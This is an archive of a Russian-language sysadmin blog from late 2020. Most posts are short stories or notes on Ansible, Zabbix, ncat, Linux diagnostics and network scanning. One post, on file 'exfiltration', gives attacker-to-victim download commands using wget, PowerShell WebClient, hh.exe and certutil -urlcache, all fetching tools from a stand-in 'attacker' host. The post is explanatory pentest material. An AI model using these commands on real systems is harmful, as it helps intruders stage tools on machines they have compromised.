Monday 28 December 2020

Маскарад.

Всем привет.

Провожаю этот неспокойный год еще одной почемучкой. Приятного вам чтения.

    Морган была хорошим охотником. Такую дикую кличку ей дали по традиции племени, история которого очень давно пересеклась с пиратским кораблем, разбившимся на большом рифе. И с теми кто выжил тогда. Она всегда возвращалась с добычей. И это туманное утро не был чем-то особенным, кроме одного - было необычайно тихо. Так тихо, что Морган невольно заслушалась тишиной настолько насколько это было возможно в джунглях острова. Но инстикт охотника все же вернул ее чувства к привычному состоянию. Она выжидала, в ее раннем опыте главным было уметь выждать добычу. Туман нехотя начал оступать в сторону океана все больше оголяя полосу чистой прибрежной полосы.

И тут она уловила новый для ее уха звук. Звук совершенно незнакомый. Морган напрягла свою память, чтобы подготовиться и определиться с навыками на поражение цели, но мозг упорно не желал подсказывать ассоциативный образ. Звук все не уходил, а лишь рывками нарастал, или ослабевал...и, что еще больше удивило Морган, происходил откуда то сверху. Морган был мастером маскировки, но рисковать ей не хотелось. Она попыталась осторожно повернуть голову в сторону звука, но тут вдруг новый объект привлек ее внимание. К берегу из тумана вышла лодка. Она без труда определила что это была лодка, но..она была без весел и без паруса. На этом странности утренней охоты для нее только начались - лодка была с округлыми бортами и почти бесшумная. Она легко выскочила на песчанный берег и из нее вышло четверо людей.


Морган так и подумала, но через секунду засомневалась. Ну да, они двигались также как он, руки, ноги, голова, и...стоп, что-то было не так.

- Спокойно, малышка. Ну-ка, еще раз.

Wednesday 23 December 2020

Удаление McAfee DLP Endpoint.

Всем привет.

Бывают ситуации когда хост по каким-то причинам не может достучаться до своего ЕРО-сервера. Но еcть необходимость переставить или снести штатно математику клиента McAfee.

Если известен пароль супер-админа то с этим проблем не будет, кроме удаления модуля "DLP Endpoint". DLP Endpoint требует для себя небольшого устного диалога с сервером ЕРО.

Итак заходим в ЕРО и выбираем меню "DLP Help Desk".

Далее указываем:

1) Тип ключа - ключ удаления.

2) Пароль обхода клиента: 

- тут нужно выбрать имя политики и ее редакцию. Где их найти? Находим нужный хост в Дереве систем. Далее идем на закладку "Продукты" становимся на строку "DLP Endpoint" прокручиваем вниз до "Политики DLP". Там запоминаем имя политики и ее версию (редакция).

3) Идентификационный код получаем с искомого хоста запустив на нем деинсталляцию "DLP Endpoint".

4) Жмем "Создать ключ" и получаем код переноса, который и является искомым ключом удаления. Вводим его на хосте. Деинсталляция пошла.


Имя пользователя, имя хоста и email можете указать любой. Эти значения на ключ удаления не влияют.

Успехов.


Разовая задача в GPO.

Всем привет.

Случилась на днях задачка, по которой надо бы опросить ПК пользователей на тему оставленных USB-флешек. Это касалось тех ПК которые не выключались на ночь. 

Ну что ж, выходит что надо выбрать какое-нибудь ночное время и выполнить самописный скрипт один раз:

Get-WMIObject Win32_DiskDrive | Where { $_.InterfaceType –eq ‘USB’ }

Всего один. Заходим в GPO и выбираем плюсик, а далее выбираем выполнить "Once", т.е разово.



Все просто. Но можно спутать с менюшкой "Immediate task" где по идее можно сделать почти тоже самое. Т.е. только раз, но прямо сейчас.


Кстати, в обоих случаях есть вариант поддержки идемпонетности, т.е. когда задачу не надо выполнять каждый раз при накатывании политики. Раз выполнил и все. 



За это отвечает опция "Apply once and do not reapply." Однако как GPO оценивает что она применилась успешно - вопрос не однозначный. В этом случае лучше обратить свои взоры на Desired State Configuration.

Удачи всем.

Tuesday 22 December 2020

Виртуальные компоненты в Windows.

Всем привет.

Карантин ограничивает тебя физически, но дает возможность подогнать старые планы изучения нового, а также заглянуть в будущее. Благо что сейчас многие ИТ-вендоры дают возможность собрать дома виртуальный полигон для занятий. А дальше дело техники...

И тут даже сама Windows 10 предлагает немало возможностей. 


Наверное все уже знакомы с тем что к качестве одного из компонентов можно установить поддержку Hyper-V. А после либо из сети либо из образа разворачивать виртуальные хосты. И вязать их виртуальными сетками.

Также в компонентах Windows есть так называемая Песочница. Ничего не надо инсталлировать, это виртуальная ОС, которая является копией вашей хостовой Windows. Там по быстрому можно что-то проверить, и что никак не повлияет на основную систему.

Это еще не все. Там же в компонентах есть подсистема Windows для Linux. И она работает! Образы Linux на выбор в нее устанавливаются из магазина Microsoft Store. Пишут что для этого надо предварительно включить режим Разработчика в Windows (есть и такой!), но у меня заработало и так.

Такие дела.

Sunday 20 December 2020

How is doing patches and installation by Ansible.

Hi all.

How is doing patches and installation by Ansible? Next story by Janathan Lozada De La Matta.

So we’ve learned how to update a system, restart the VM, reconnect, and install a RPM. 

  - name: update the system

    yum:

      name: "*"

      state: latest

In the first line, we give the task a meaningful name so we know what Ansible is doing. In the next line, the yum module updates the CentOS virtual machine (VM), then name: "*" tells yum to update everything, and, finally, state: latest updates to the latest RPM. After updating the system, we need to restart and reconnect:

  - name: restart system to reboot to newest kernel

    shell: "sleep 5 && reboot"

    async: 1

    poll: 0

  - name: wait for 10 seconds

    pause:

      seconds: 10

  - name: wait for the system to reboot

    wait_for_connection:

      connect_timeout: 20

      sleep: 5

      delay: 5

      timeout: 60

  - name: install epel-release

    yum:

      name: epel-release

      state: latest

Friday 18 December 2020

How to simplify daily tasks by Ansible.


Hi all.

How to simplify daily tasks by Ansible? Today short-story by Janathan Lozada De La Matta.

1. Managing users.

If you need to create a large list of users and groups with the users spread among the different groups, you can use loops. Let’s start by creating the groups:

- name: create user groups

  group:

    name: "{{ item }}"

  loop:

    - postgresql

    - nginx-test

    - admin

    - dbadmin

    - hadoop

You can create users with specific parameters like this:

- name: all users in the department

  user:

    name:  "{{ item.name }}"

    group: "{{ item.group }}"

    groups: "{{ item.groups }}"

    uid: "{{ item.uid }}"

    state: "{{ item.state }}"

  loop:

    - { name: 'admin1', group: 'admin', groups: 'nginx', uid: '1234', state: 'present' }

    - { name: 'dbadmin1', group: 'dbadmin', groups: 'postgres', uid: '4321', state: 'present' }

    - { name: 'user1', group: 'hadoop', groups: 'wheel', uid: '1067', state: 'present' }

    - { name: 'jose', group: 'admin', groups: 'wheel', uid: '9000', state: 'absent' }

Thursday 17 December 2020

Как Zabbix взаимодействует с узлами сети.

Всем привет.

Этот пост выглядит как мой конспект одного из вебинаров по Zabbix-у на тему его взаимодействия с узлами сети.

Итак, Zabbix может взаимодействовать с узлами:

1) Zabbix Agent - агент, устанавливаемый на целевые хосты.

2) SNMP - протокол использующийся для управления сетевыми устройствами.

3) JMX - мониторинг JMX можно использовать для наблюдения за счетчиками JMX в Java приложениях.

4) IPMI - интеллектуальный интерфейс управления платформой. В этом контексте Zabbix используется для мониторинга аппаратной платформы серверов.


Для Zabbix хостов и групп:

  • Старайтесь группировать хосты по типам и задачам (хост может быть включен в любое кол-во групп)
  • Давать понятные имена для хостов
  • Впоследствии разделение прав на просмотр и управление
  • Host -  это логическое понятие, один физический хост может содержаться в разных Zabbix Hosts
  • Имя хоста регистрозависимое (для zabbix_sender)


Zabbix имеет типы элементов данных:

В Zabbix организованы активные и пассивные проверки на агентах. Аквивные проверки (от агента к серверу) предпочтительны.

Активные проверки:

- [все параметры агента]

- Hostname: уникальный, регистрозависимый, для активных проверок

- ServerActive: сервер для пересылки данных от агента

- RefreshActiveChecks: частота обновления

Tuesday 15 December 2020

Как пользоваться ncat.

Всем привет.

Поднимая тему создания шеллов обязательно натыкаешся на использования такой утилиты как Ncat. Программа Netcat - это полезная сетевая утилита, с помощью которой можно анализировать и моделировать работу многих сетевых протоколов, можно выполнять команды на удалённой машине и закачивать или скачивать с неё файлы, перенаправлять трафик с одного порта на другой или с одной машины на другую. Безусловно, пентестеру (аудитору сетевой безопасности) нужно хорошо разбираться в сетевых протоколах и уметь использовать Netcat в процессе обучения.

Поэтому для того чтобы самому знать о чем речь в дальнейшем я собрал полигон (Ubuntu+Windows10) и на бегу проверил примеры ниже.

1) Читаем HTTP-заголовки:

ncat.exe -v google.com 80 <head.txt

- где head.txt:

HEAD /index.php HTTP/1.0

Host: google.com

ncat.exe -v google.com 80 <get.txt

- где get.txt:
GET / HTTP/1.0
Host: google.com

2) Копирование файлов:

ncat -l -p 43210 < readme.txt

ncat -l -p 43210 > 2readme.txt

3) Копирование файлов с поддержкой SSL:

ncat -l --ssl -p 6666 --send-only < test.txt

4) Мини вариант Web-server:

ncat -l 8080 < hello.http

ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"

- где hello.http:

HTTP/1.1 200 OK

<html>

  <body>

    <h1>Hello, world!</h1>

  </body>

</html>

Sunday 13 December 2020

Что такое Powershell Workflows?

Всем привет.

Рабочие процессы, или потоки, или Workflows.  Довольно интересная тема в цифровом мире и в мире Powershell особенно. 

Что же такое Powershell Workflows?

Мне об этом поведал Jeff Wouters, энтузиаст PowerShell из Нидерландов и автор блога http://www.jeffwouters.nl/.

Рабочий процесс (Workflow) – это в сущности несколько заданий, выполняемых последовательно, которые требуют некоторой координации, поскольку они могут выполняться на различных устройствах. С точки зрения дизайна, рабочие процессы могут повторяться, прерываться, перезапускаться, останавливаться и выполняться параллельно – больше об этом я расскажу в разделе «Для чего используются workflow?» далее в посте.

Хотя рабочие процессы очень мощные, нужно понимать, что они также и очень сложные. Можно запросто переусложнить скрипт, и поэтому, как и при работе с любыми большими скриптами, стоит сначала поразмыслить о том, что ваш скрипт будет делать, продумать его структуру, и лишь затем начинать его писать.

PowerShell содержит модуль PSWorkflow, который просто использует Windows Workflow Foundation. Рабочие процессы – это не часть Windows PowerShell. Это просто использование (очень разумное) технологии, которая уже присутствует в операционных системах Windows.

Мощь Workflow

Для того, чтобы действительно оценить мощь рабочих процессов, я могу лишь посоветовать вам начать их использовать. Но, конечно, это не то, что вы ждете от этого поста. Вам нужны примеры, так? Вместо того, чтобы дать вам кусок кода, я приведу пример, знакомый каждому администратору Server Manager.

В Windows Server 2012 он был полностью переписан и стал значительно быстрее, поскольку теперь это фактически графическая оболочка вокруг Windows PowerShell и WMI. Кроме того, он позволяет вам управлять вашей средой из единой консоли, поскольку теперь он также использует рабочие процессы!

Когда вы развертываете решение на основе сценария из Server Manager, он знает (в соответствии со сценарием), в какой последовательности выполнять отдельные задачи. Он генерирует рабочий процесс для выполнения определенных действий и передает его на целевые серверы. Таким образом WMI, совместно с Windows PowerShell, рабочими процессами и удаленным выполнением представляет из себя немалую мощь.

Диагностика Linux.

Всем привет.

У каждого администратора который управляет Linux-серверами в своем арсенале есть свои наработки. Для быстрого анализа производительности сервера и диагностики возникающих проблем он использует проверенный годами набор команд.

Евгений Лебедь имеет следующие:  

1) команда top выводит текущие процессы, которые обрабатываются ядром.  По умолчанию данные обновляются каждые пять секунд.

2) с помощью команды vmstat можно увидеть краткосрочный снимок процессора, памяти, процессов и операций ввода/вывода.

3) с помощью команды iostat можно получить отчет об использовании процессора, нагрузке на дисковую и сетевую подсистему:

# iostat -x 5              - получать данные о нагрузке на жёсткий диск каждые 5 секунд 

Однако iostat является частью пакета системных утилит контроля производительности Sysstatl. Имеет смысл использовать весь пакет. Sysstat сообщает информацию о системе, скорость операций ввода-вывода, объем использования выполняемыми процессаим раздела/файла подкачки, прерываний, сети, памяти, центрального процессора, задействования ядра, tty и другое, в том числе с поддержкой многопроцессорных машин.

Sysstat содержит следующие утлиты:

* sar: отчеты с информацией о системе

* iostat: отчеты об использовании процессора и дискового ввода/вывода

* mpstat: отчеты об использовании процессора как полностью так поядерно

* pidstat: отчеты об задачах (процессах)

* sadf: отчёты by sar в различных форматах

* cifsiostat: отчёты об операциях ввода-вывода для файловой системы CIFS

* nfsiostat-sysstat: (устаревшее) отчёты об операциях ввода-вывода для сетевых файловых систем

Для установки пакета следует выполнить команду # apt-get install sysstat

Saturday 12 December 2020

Установка сторонних модулей в Ansible.

Всем привет.

Установка сторонних модулей с открытым исходным кодом или специализированных модулей выполняется достаточно просто. Рассмотрим эту установку на примере модулей NTC.

Для этого нужно выполнить следующие действия:

1. Выбрать путь в файловой системе Linux, то есть локацию для хранения всех сторонних модулей.

2. Открыть файл конфигурации Ansible (ansible.cfg) и добавить в путь поиска модулей новый каталог, в котором выполнялось клонирование. 

Если место расположения файла ansible.cfg неизвестно, то необходимо выполнить команду ansible --version в своей системе. Вывод может выглядеть приблизительно так:

ntc@ntc:~/projects$ ansible --version

ansible 2.3.1.0

  config file = /etc/ansible/ansible.cfg

  configured module search path = [u'/etc/ntc/ansible/']

python version = 2.7.6 (default, Jul 21 2020, 16:45:13) [GCC 4.8.2]

Вы также увидите строку library =. В этой строке нужно добавить каталог, в котором сохранены все клонированные репозитории (например, library = /etc/ntc/ansible/). При правильном обновлении файла конфигурации при следующем выполнении команды ansible --version вы увидите все внесенные изменения.

[defaults]

inventory = /etc/ansible/hosts

library = /home/ntc/projects/

Friday 11 December 2020

Testing Ansible roles with Molecule.

Hi all.

Today we will speaking about how to automate your verifications of code using Python.

Story author - Jairo da Silva Junior.

Test techniques role in software development, and this is no different when we are talking about infrastructure as Code (iaC). Developers are always testing, and constant feedback is necessary to drive development. if it takes too long to get feedback on a change, your steps might be too large, making errors hard to spot. baby steps and fast feedback are the essence of tdd (test-driven development). but how do you apply this approach to the development of ad hoc playbooks or roles?

When you’re developing an automation, a typical workflow would start with a new virtual machine. i will use Vagrant [1] to illustrate this idea, but you could use libvirt [2], docker [3], Virtualbox [4], or Vmware [5], an instance in a private or public cloud, or a virtual machine provisioned in your data center hypervisor (oVirt [6], Xen [7], or Vmware, for example).

When deciding which virtual machine to use, balance feedback speed and similarity with your real target environment.

The minimal start point with Vagrant would be:

vagrant init centos/7 # or any other box

Then add Ansible provisioning to your Vagrantfile:

config.vm.provision "ansible" do |ansible|   

  ansible.playbook = "playbook.yml" 

end

In the end, your workflow would be:

1. vagrant up 2. edit playbook. 

3. vagrant provision 

4. vagrant ssh to verify Vm state. 

5. repeat steps 2 to 4. 

Occasionally, the Vm should be destroyed and brought up again (vagrant destroy -f; vagrant up) to increase the reliability of your playbook (i.e., to test if your automation is working end-to-end). Although this is a good workflow, you’re still doing all the hard work of connecting to the Vm and verifying that everything is working as expected. When tests are not automated, you’ll face issues similar to those when you do not automate your infrastructure. Luckily, tools like testinfra [8] and Goss [9] can help automate these verifications.

Tuesday 8 December 2020

Настройка DameWare Mini Remote Control.

Всем привет.

Знакомый администратор был приятно впечатлен функционалом DameWare Mini Remote Control. Для него пришлось вспомнить парочку мелочей. Для того, чтобы оптимально настроить DameWare Mini Remote Control, нужно запустить консоль файл DWRCC.exe в папке, где установлено ПО -> Закрыть окно [Remote Connect] -> в консоли выбрать пункт меню [View] -> [Default Host Properties] и установить необходимые параметры в закладках [Remote Options] и [Display Options].



Disable Keyboard Translation - решает проблему с переключением раскладки клавиатуры

Use Slow Link Optimizaion - увеличит скорость передачи данных

Force 16 bit Display - битность цветовой гаммы, чем меньше тем больше скорость (оптимально 16 bit).

Или зайти в главную форму программы DNTU.exe -> Открыть ранее созданный компьютер -> [Remote Control] -> [Mini Remote Control] -> Закрыть окно [Remote Connect] -> [View] -> [Default Host Properties]. После сохранения, настройки будут действительны для всех последующих подключений.

Добавка - более продвинутый инструмент DameWare Remote Control имеет набор полезных функций, но на поверку не имеет логического экспорта наработанной базы хостов.  Т.е. он есть, но импорт полученного результата плачевный. Поэтому проще перекинуть файлик DNTUNB.dbf в C:\Users\Username\AppData\Roaming\DameWare Development.

Успехов.



Sunday 6 December 2020

Эксфильтрация файлов.

Всем привет.

Первая задача, с которой хакер сталкивается на этапе построения атаки - это передача файлов. 

Нужно залить на удаленный хост эксплоит, скачать нужный файл, дамп памяти, поднять прокси-сервер, прочее. Такая специфика передачи файлов обусловлена необходимостью выполнить ее исключительно базовыми средствами ОС. Такую операцию называют эксфильтрацией. И тут есть несколько вариантов. 

Первый самый простой вариант передачи файлов под Linux. Для быстрого старта веб-сервера в текущей папке используем встроенный модуль Python2:

attacker> python -m SimpleHTTPServer 8080

Для Рython3: 

attacker>python3 -m http.server 8080

Передаем наш файл:

victim$> wget http://attacker/nmap.exe -O /tmp/nmap.exe

Если на удаленном хосте установлена Windows 7-10, лучше использовать PowerShell:

victim$> powershell -c (new-object System.Net.WebClient).DownloadFile ('http://attacker/nmap.exe' 'C:\Users\victim\desktop\nmap.exe')

Часто HTTP - единственное окно в мир из DMZ, и в Windows тоже приходится им пользоваться, причем разными способами. Наиболее универсальный, но не самый красивый метод выглядит так:

victim$> hh.exe http://attacker/nmap.exe.txt

victim$> cd \users\victim\appdata\local\microsoft\windows\

victim$> dir /s nmap.exe

victim$> cd путь_до_папки

victim$> move nmap.exe[1].txt nmap.exe

Передать файлы в виде простого текста возможно почти всегда. Этот способ подразумевает отправку файла любого содержимого, но с расширением .txt. Можно использовать очень полезную утилиту certutil, которая предназначена для различных криптографических операций. У нее куча опций, ее можно сравнить со швейцарским ножом. Вот как она используется для передачи файла - лезвие №1:

victim$> certutil -urlcache -split -f http://attacker/nc.exe.txt nc.exe.txt

Или так:

victim$>certutil -VerifyCTL -f -split http://attacker/nc.exe.txt

Friday 4 December 2020

Журналы Linux #7- ошибки и аудит.


Всем привет.

В Linux есть два компонента которые можно отнести к классическому логгированию. Это Аbrtd  - инструмент для создания отчетов об ошибках, и Аuditd  - прикладной компонент системы внутреннего аудита.

Аbrtd  - инструмент для создания отчетов об ошибках (bug reports). Активизируется при сбоях приложений и собирает дополнительные данные для последующего анализа и формирует отчеты для отправки.

В его состав входят:

abrtd - сам демон

abrtd-applet - апплет, работающий в области уведомлений пользователей в оболочке

abrt-gui - графический интерфейс, которые показывает собранные проблемы и позволяет оповещать о них

abrt-cli - интерфейс командной строки

Установка abrtd: 

yum install abrt-addon-ccpp abrt-addon-python abrt-cli abrt-tui abrt

Wednesday 2 December 2020

Журналы Linux #6 - journald.

Всем привет.

Я уже писал про систему инициализации systemd, но забыл упомянуть про journald - демон (служба), который собирает записи журнала из всей системы: это загрузочные сообщения, сообщения из ядра и syslog и различных приложений. Он хранит все сообщения в центральном месте - файле журнала. О нем много написано здесь и и здесь, поэтому здесь я изложу кратко только его особенности конфигурации.

Journald особенности:

-бинарный формат логов (защита от подделки, возможность конвертации в другие форматы)

-не требует специальной настройки

-структурированные данные (multi-field, multi-line)

-индексированные данные

-центральное хранилище логов


Какие логи принимает journald?

-простые syslog логи

-логи ядра (kmsg)

-структурированные данные через Journal API

-логи и статусы systemd юнитов

-записи системы аудита (auditd)


Условия работы journald:

-сервис - systemd-journald

-основной конфиг - /etc/systemd/journald.conf

-хранилище логов - /var/log/journal/*

-чтение из хранилища доступно только для группы systemd-journald

Tuesday 1 December 2020

TLDR как лаконичный man.


Всем привет.

Все мы любим читать --help и man. Несмотря на появление многочисленных форумов, Stack Exchange и прочих ресурсов, хорошим тоном в начале решения своих проблем по-прежнему остаётся самостоятельный поиск ответа в официальной документации. На этих ресурсах вам скорее всего об этом сразу напомнят, ну есть такие гуру которые любят посылать новичков в гугл. Однако профессиональная лень продолжает двигать прогресс даже там, где не всегда того ожидаешь. Впрочем, это не только лень, бывают случаи когда вы банально ограничены во времени на поиск ответа.

И так оказалось, что классический man устраивает не всех. Меня, например, тоже его многостраничные просторы не радуют. Поэтому то и появился проект tldr, который, следуя своей расшифровке «Too Long; Didn't Read», решил принести в консоль лаконичный вид, и дать ищущему  самое главное. 

Авторы tldr описывают своё детище как «коллекцию упрощённых и создаваемых сообществом man-страниц». Главным продуктом их деятельности является собственно библиотека из markdown-файлов, являющихся альтернативными справочными страницами для популярных консольных утилит. Основная их часть относится к категориям «общие» и «Linux», однако есть также отдельные страницы для macOS и даже Windows.

Что хранится в этих страницах? В качестве примера в GitHub проекта демонстрируется tldr-справка по tar:


Как видно, это минимальное описание назначения утилиты и компактный список из самых частых команд. Для tar приводится 7 готовых команд, для ls - 6, для top - 5.

Sunday 29 November 2020

Ansible Ltd.

Всем привет.

Во время карантина как никогда стали востребованы различные службы доставки. Так сказать наступил их звездный час. Эта почемучка как раз такой службе и посвящается...


Джейку не спалось. В пол-пятого утром он вышел на свежий воздух и обнаружил в своем почтовом ящике рекламный буклет формата А5.

Броский дизайн очередной рекламной кампании с ярким текстом: 

"Уважаемый клиент! Мы - логистическая кампания Будущего, которое для вас может уже стать Настоящим. Мы - это новое слово в доставке чего угодно и куда угодно. Для Вас сегодня Акция - первые три посылки для Вас совершенно бесплатны. Любой формат, любое место назначение, 100% гарантия. Наш сервис Вас приятно удивит!"

Далее следовал более мелкий текст который Джейку показался нудноватым и он не стал его читать. В самом низу были прикреплены три акционные наклейки. Выглядели они необычно - каждая небольшого размера картинка где в случайном месте была надпись Ansible похожая на вензель художника. В углу штрих-код, под которым можно было прочесть слоган компании: 

"Наша миссия - сокращать расстояния!".

Буклет уже было готов был полететь в урну, но уж больно наклейки были хороши. Поэтому Джейк решил поделиться одной из них с Максом. Он взял конверт, запечатал в него чистый лист бумаги, написал сверху адрес и прикрепил наклейку. Он тут же понял что клеить ее, пожалуй, и не следовало, но... через секунду пискнул телефон вещающий о получении новой sms. Джейк, больше сейчас мечтающий про утренний кофе, и потому нехотя потянулся за телефоном,  взял его и прочитал текст:

"Ваша посылка доставлена. Мы рады что вы с нами."

В отправителях sms значилось: Ansible Ltd., четверг.

Джейк быстро вернул взгляд на стол, конверта там не оказалось. Чисто по привычке заглянул под стол, пошарил взглядом направо налево. Конверта не было. Прочитал еще раз смс. Слабо веря в новые веяния логистики он через пару минут решил еше раз перечитать буклет. От чтения его отвлек звонок Макса. Тот спрашивал что у него за шутки в 5-ть утра присылать чистые листы бумаги..., кое как промямлив в ответ, Джейк погрузился в раздумья: 

- Но сегодня пятница. - Я запечатал конверт полчаса тому.

- Хм, и что за странная sms? Эта фирма доставки не придает значения ни часам ни минутам, а? Может они и время считают по другому?

- Спокойно, это только доказывает, что их логистика находится в тропической стране. В тропиках время почти ничего не значит. Отметка "четверг" свидетельствует, что Ansible Ltd. в Центральной Америке. Если бы эта страна находилась в Индии или еще где-нибудь на востоке, в sms была бы "среда", согласен?

- Точно. Супер-скоростная почта! - воскликнул Джейк. - Еще бы! Да "Новая почта" ей в подметки не годится. Если за время, прошедшее от того, как я получил sms, до момента, когда оно упало в ящик Макса, письмо пропутешествовало не просто отсюда до него, а сначала побывало в Центральной Америке, было обработано и только потом попало к нему, тогда его средняя скорость будет...

- Ок, я знаю как вас вычислить. Посмотрим как вы поступите с недоставкой! - Джейк взял случайную книгу с полки, аккуратно завернул ее и написал только что выдуманный им адрес: "Mr. Jake Faraday, 711, Pаradise Road, Nirvana». Но чтобы вероятность возврата посылки была стопроцентной он указал в качестве адресата себя. Он прикрепил вторую наклейку и положил книгу на стол не сводя с нее взгляда. Секунда, другая, он даже зевнул, но она не исчезла.

- Ага, все таки развод! - заиграли эмоции у Джейка.- Какие только фокусы не придумают во времена карантина.

Еще через секунду пришла sms:

"Возврат отправителю. По указанному адресу получатель временно не проживает. Мы рады что вы с нами. Ansible Ltd., пятница."

- Вот черт! - вырвалось у Джейка. - Они издеваются? Что значит "временно не проживает"? Адрес был взят с потолка!

- Ладно ребята, но я так просто не отступлю, сейчас я вам устрою... любой формат, говорите?, Ну-ну..., - Джейк притащил с балкона большую коробку.

- Книга никуда не исчезла,- заверил он себя, - Вот мы сейчас все и проверим! - Пошлем еще раз по тому же адресу.

Джейк заговорщически усмехнулся, залез в коробку, левой рукой приложил последнюю наклейку на борт, и потянулся за телефоном. Но схватить его не успел. Коробка вместе Джейком исчезла. 

Телефон принял очередную sms: 

"Ваша посылка доставлена. Мы постоянно развиваем наш сервис - теперь в акции участвуют посылки с доставкой в места назначения где время отличается от вашего более чем на 24 часа. Мы рады что вы с нами. Ansible Ltd., суббота."


Saturday 28 November 2020

Разведка из открытых источников, часть 3.

Всем привет.

Решив отдать должное автору статьи "Разведка из открытых источников, часть 2" Андрею Бирюкову я публикую еще одну часть из его журнальной серии "Системный администратор". 3-я часть посвящена технической стороне разведки, а именно сканированию сети.

Сканирование сети является неотъемлемой частью сетевых атак. Для успешной защиты необходимо понимать, как осуществляется обнаружение узлов в сети. Мы проведем исследование тех служб, которые при­меняются в сети. Сначала рассмотрим, как злоумышленник может идентифицировать работающие узлы. Затем перей­дем к тому, как определить, какие службы запущены на дан­ных машинах. Для идентификации активных узлов в локальной сети можно использовать различные протоколы сетевого и транспортного уровня, такие как ICMP, UDP и TCP. Но обо всем по порядку.

ICMP как простой инструмент исследования сети

Протокол ICMP служит для выявления проблем, связан­ных с сетевым уровнем. Как правило, в локальных сетях его не блокируют, так как он часто используется самими си­стемными администраторами для поиска неполадок в сети.

Прежде всего рассмотрим основные принципы работы данного протокола. Сообщения ICMP передаются в виде IP- датаграмм, то есть к ним прибавляется заголовок IP

Существует несколько типов сообщений ICMP, каждый имеет свой формат, при этом все они содержат следующие три поля:

-    8-битного целого числа, обозначающего тип сообще­ния (TYPE);

-    8-битного поля кода (CODE), который конкретизирует назначение сообщения;

-    16-битного поля контрольной суммы (CHECKSUM).

Все типы сообщений ICMP можно условно поделить на две группы.

-    Сообщения об ошибках (например, Destination Unreachable).

-    Запросы и ответы (например, Echo Request и Echo Reply).

Начнем с рассмотрения сообщений об ошибках. Они содержат заголовок и первые 64 бита данных пакета IP, при передаче которого возникла ошибка. Это делается для того, чтобы узел-отправитель смог более точно проана­лизировать причину ошибки, так как все протоколы при­кладного уровня стека TCP/IP содержат наиболее важную информацию для анализа именно в первых 64 битах своих сообщений. Для сообщений об ошибках задействовано поле кода. В основном для исследования сети используют­ся Echo Reply, Echo Request и Timestamp.

Наилучшим методом определения доступности узла явля­ется посылка сообщения ICMP Echo (Туре 8). Если система работает и отсутствует фильтрация графика данного типа, то в ответ придет сообщение ICMP Echo Reply (Type 0).

Идентификация (то есть обнаружение) сетевых уст­ройств с помощью протокола ICMP может быть выполнена двумя способами.

-   посылкой запроса, получением ответа;

-   вызовом ситуации ошибки, получением сообщения об ошибке.

В основу идентификации заложен следующий принцип. Узел, отправляющий ICMP-запрос, устанавливает значения полей Identifier, эти значения позволяют определить ответы, пришедшие от разных узлов. А для того, чтобы отличить не­сколько ответов, пришедших от одного узла, используется поле Sequence Number. В поле Code записывается ноль, поле данных произвольно (например, алфавит). Отвечаю­щая сторона должна заменить значение поля Туре на 0 и от­править датаграмму обратно.

Для выполнения обнаружения узла обычно используется утилита ping, входящая в состав большинства ОС. В качест­ве параметра ping указывается IP/имя, и в результате получа­ем ответ удаленной системы. Однако у нее есть существен­ный недостаток - все узлы опрашиваются последовательно, что заметно увеличивает продолжительность опроса.

Wednesday 25 November 2020

Поведенческие параметры в Ansible.

Всем привет.

Для описания хостов в файле реестра Ansible (Ansible.cfg) необходимо явно указывать имя хоста(или IP-адрес) и порт, к которому будет подключаться SSH-клиент Ansible. Это может быть важно если вы управляете хостами с помощью, например, системой Vagrаnt. В Ansible такие перемененные называются поведенческими параметрами (см. таблицу).


ansible_connection

Ansible поддерживает несколько транспортов - механизмов подключения к хостам. По умолчанию используется транспорт smart. Он проверяет поддержку локальным SSН-клиентом функции ControlPersist. Если SSH-клиент поддерживает ее, Ansible использует локальный SSH-клиент. Если локальный клиент не поддерживает ControlPersist, тогда транспорт smart будет использовать библиотеку SSH-клиента на Python с названием Paramiko.

Monday 23 November 2020

Пользовательский модуль в Ansible.


Всем привет.

На данный момент вам может начать казаться, что управление сетевыми средствами в Ansible во многом зависит от обнаружения правильного модуля для своего устройства. Модули предоставляют некий способ абстрактного взаимодействия между управляемым хостом и самой управляющей машиной, в то время как он делает для вас возможным сосредоточиться на самой логике вашей работы. До этого момента мы знаем что все основные производители предоставляют некий широкий диапазон поддержки модулей для Cisco, Juniper и Arista.

Рассмотрим в качестве примера модули Cisco Nexus - помимо конкретных задач, таких как управление соседним BGP (nxos_bgp) и сервером aaa (nxos_aaa_server), большинство производителей также предоставляют способы исполнения произвольного отображения (nxos_config) и настройки (nxos_config) команд. 

Но что если используемое нами в настоящий момент устройство не имеет прямо сейчас никаких модулей, которые мы бы могли найти в сети? 

Поэтому мы рассмотрим способ которым можно устранить такую ситуацию написав свой собственный пользовательский модуль.

1-й пользовательский модуль.

Написание некоторого пользовательского модуля не обязательно усложнять, на самом деле он даже не обязан быть на Python. Но сегодня мы будем использовать Python для наших пользовательских модулей. Мы предполагаем, что данный модуль это то, что мы будем применять самостоятельно и в своей команде не обращаясь дополнительно к Ansible, таким образом игнорируя некое документирование и форматирование. По умолчанию, если вы создаёте некую папку библиотеки в том же самом каталоге, что и ваш плейбук, Ansible включит этот каталог в путь поиска модуля. Такие модули должны возвращать некий вывод JSON обратно в свой плейбук.

Saturday 21 November 2020

Различия между grep, egrep и fgrep.


Всем привет.

Одним из известных инструментов поиска в Linux системах, которые можно использовать для поиска всего, будь то файл или строка или несколько строк в файле, - это утилита grep. Он очень обширен в функциональности, за счет большого количества поддерживаемых им опций, таких как: поиск с использованием строкового шаблона или регулярных выражений шаблон или perl based регулярных выражений  и т.д.

Из-за его различных функциональных возможностей инструмент grep имеет множество вариантов, включая egrep (Extended GREP), fgrep (Fixed GREP), pgrep (Process GREP), rgrep (рекурсивный GREP) и т.д. Но эти варианты имеют незначительные отличия от оригинального grep. Давайте разберемся с различиями между тремя основными вариантами: «grep», «egrep» и «fgrep». Чтобы мы знали, что выбирать в соответствии со своими требованиями.

Некоторые специальные метасимволы grep:

+ - эквивалентно одному или нескольким вхождениям предыдущего символа.

? - это означает хотя-бы одно повторение предыдущего символа. Так запись «a?» будет соответствовать «a» или «aa».

(- начало выражения чередования.

) - конец выражения чередования.

| - сопоставление любого из выражений, разделенных символом ‘|‘. Например: «(a | b) cde» будет соответствовать «acde», либо «bcde».

{- этот метасимвол указывает начало спецификатора диапазона. Например: «a {2}» соответствует вхождению «aa» в файле 2 раза.

} - этот метасимвол указывает конец спецификатора диапазона.

Некоторые основные различия между grep, egrep и fgrep можно выделить следующим образом. Для этого набора примеров мы принимаем файл, в котором выполняется операция:

grep is acommand that can be used on unix-like systems. 

